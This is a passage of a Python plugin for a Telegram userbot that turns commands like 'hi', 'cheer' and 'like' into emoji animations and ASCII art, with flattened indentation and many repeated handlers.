await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜\n❤️🧡💛💚💙💜")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️\n🧡💛💚💙💜❤️")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡\n💛💚💙💜❤️🧡")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛\n💚💙💜❤️🧡💛")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚\n💙💜❤️🧡💛💚")
@borg.on(admin_cmd(pattern=r"my"))
async def my(event):
if event.fwd_from:
return
await event.edit("💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙\n💜❤️🧡💛💚💙")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️❤️❤️\n🧡🧡🧡🧡\n💛💛💛💛\n💚💚💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙💙💙\n💜💜💜💜\n🖤🖤🖤🖤\n🤎🤎🤎🤎")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 ")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("ʟᴏᴅɪɴɢ ᴛʏᴘᴇ........𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💓💓𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💓💓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("❤️❤️𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔❤️❤️")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💓💓𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💓💓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💜💜𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💜💜")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💓💓𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💓💓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💛💛𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💛💛")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💓💓𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💓💓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💚💚𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💓💓𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💓💓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("🧡🧡𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔🧡🧡")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💓💓𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💓💓")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💙💙")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💜💜𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💜💜")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💚💚𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💛💛𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💛💛")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("🖤🖤𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔🖤🖤")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💙💙𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💙💙")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💜💜𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💜💜")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💚💚𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💚💚")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💛💛𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💛💛")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💝💝𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💝💝")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💕💕𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💕💕")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💖💖𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💖💖")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💕💕𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💕💕")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💝💝𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💝💝")
@borg.on(admin_cmd(pattern=r"hi"))
async def hi(event):
if event.fwd_from:
return
await event.edit("💕💕𝑰 𝒍𝒐𝒗𝒆 𝒚𝒐𝒖 𝒂𝒍𝒍 𝒇𝒓𝒊𝒆𝒏𝒅𝒔💕💕")
@borg.on(admin_cmd(pattern=r"cheer"))
async def cheer(event):
if event.fwd_from:
return
await event.edit("💐💐😉😊💐💐\n☕ Cheer Up 🍵\n🍂 ✨ )) ✨ 🍂\n🍂┃ (( * ┣┓ 🍂\n🍂┃*💗 ┣┛ 🍂 \n🍂┗━━┛ 🍂🎂 For YOU 🍰\n💐💐😌😚💐💐")
@borg.on(admin_cmd(pattern=r"getwell"))
async def getwell(event):
if event.fwd_from:
return
await event.edit("🌹🌹🌹🌹🌹🌹🌹🌹 \n🌹😷😢😓😷😢💨🌹\n🌹💝💉🍵💊💐💝🌹\n🌹 GetBetter Soon! 🌹\n🌹🌹🌹🌹🌹🌹🌹🌹")
@borg.on(admin_cmd(pattern=r"sprinkle"))
async def sprinkle(event):
if event.fwd_from:
return
await event.edit("✨.•*¨*.¸.•*¨*.¸¸.•*¨*• ƸӜƷ\n🌸🌺🌸🌺🌸🌺🌸🌺\n Sprinkled with love❤\n🌷🌻🌷🌻🌷🌻🌷🌻\n ¨*.¸.•*¨*. ¸.•*¨*.¸¸.•*¨`*•.✨\n🌹🍀🌹🍀🌹🍀🌹🍀")
@borg.on(admin_cmd(pattern=r"kerala"))
async def kerala(event):
if event.fwd_from:
return
await event.edit("┈╱▔▔▔▔▔▔▔▔╲┈┈┈┈\n ╱▔▔▔▔▔▔▔▔╲╱┈┈┈┈\n▏┳╱╭╮┓┏┏┓▕╱▔▔╲┈\n▏┃╱┃┃┃┃┣▏▕▔▔╲╱▏\n▏┻┛╰╯╰╯┗┛▕▕▉▕╱╲\n▇▇▇▇▇▇▇▇▇▇▔▔▔╲▕\n▇▇╱▔╲▇▇▇▇▇╱▔╲▕╱\n┈┈╲▂╱┈┈┈┈┈╲▂╱▔┈")
@borg.on(admin_cmd(pattern=r"ind"))
async def ind(event):
if event.fwd_from:
return
await event.edit("⣿⣿⣿⣿⣿⣍⠀⠉⠻⠟⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠓⠀⠀⢒⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿\n⣿⡿⠋⠋⠀⠀⠀⠀⠀⠀⠈⠙⠻⢿⢿⣿⣿⡿⣿⣿⡟⠋⠀⢀⣩\n⣿⣿⡄⠀⠀⠀⠀⠀⠁⡀⠀⠀⠀⠀⠈⠉⠛⢷⣭⠉⠁⠀⠀⣿⣿\n⣇⣀ . ..INDIA🇮🇳INDIA . . . ⢷⣿⣿⣛⠐⣶⣿⣿\n⣿⣄⠀⣰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢀⣠⣿⣿⣿⣾⣿⣿⣿\n⣿⣿⣿⣿⠀⠀⠀⠀⡠⠀⠀⠀⠀⠀⢀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠄⠀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⣠⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿|n⣿⣿⣿⣿⣿⠀⠀⠂⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣇⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡆⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿")
@borg.on(admin_cmd(pattern=r"like"))
async def like(event):
if event.fwd_from:
return
await event.edit("╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱\n╱╱┏╮╱╱╱╱╱╱╱╱╱╱╱\n╱╱┃┃╱╱╱┳╱┓┳╭┫┳┓\n▉━╯┗━╮╱┃╱┃┣┻╮┣╱\n▉┈┈┈┈┃╱┻┛┛┻╱┻┻┛\n▉╮┈┈┈┃╱╱╱╱╱╱╱╱╱\n╱╰━━━╯╱╱╱╱╱╱╱╱╱")
@borg.on(admin_cmd(pattern=r"like"))
async def like(event):
if event.fwd_from:
return
await event.edit("⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡿⠋⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠀⣠⣾⣿⡿⠋⠀⠀⠉⠻⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠀⣿⣿⣿⠃⠀⠀⣀⡀⠀⢹⣿⣿\n⣿⣿⣿⣿⣿⣿⡄⠀⠙⠻⠋⠀⠀⣸⣿⣿⠀⠀⣿⣿\n⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⣰⣿⣿⠟⠀⢠⣿⣿\n⣿⣿⣿⣿⣿⣿⡿⠛⠛⠒⠶⠾⢿⣿⣿⣷⣄⣾⣿⣿\n⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⢰⣿⣿⣷⣶⣦⣼⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡀⠀⠙⠻⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⢿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿\n⣿⣿⠀⠀⠀⠉⠉⠛⠛⠛⠶⢶⣤⣼⣿⣿⣿⣿⣿⣿\n⣿⣿⣦⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠁⠀⣾⣿⣷⡄⠀⢼⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠀⢿⣿⣿⡿⠀⠈⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣇⠀⠀⠉⠋⠁⠀⢠⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠿⢷⣤⣀⣀⣀⣠⣾⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠀⠀⠈⠉⠉⠛⢻⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣶⣦⣤⣤⣀⠀⠀⢸⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠹⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡿⠛⠉⠉⠙⠻⣀⣀⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠁⠀⣀⡀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⢸⣿⡇⠀⣷⡀⠘⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡄⠈⢻⡇⠀⡿⠃⠀⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣷⣄⢸⡇⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠉⠉⠑⠒⠲⠿⢿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣤⣄⣀⡀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⢺⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠀⠉⠉⠙⠋⠀⠀⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣤⣤⣀⣀⡀⠀⠀⣰⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣷⠀⢹⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⠀⠀⠉⠉⠉⠀⠀⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣶⣤⣤⣀⣀⣀⣀⣰⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡟⠉⠀⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⢀⣤⡄⠀⡀⠀⢹⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⠀⢸⣿⡇⠀⣿⡄⠈⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⡆⠀⢹⡇⠀⠟⠁⢀⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣿⣦⣸⡇⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿\n⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿")
@borg.on(admin_cmd(pattern=r"like"))
async def like(event):
if event.fwd_from:
return
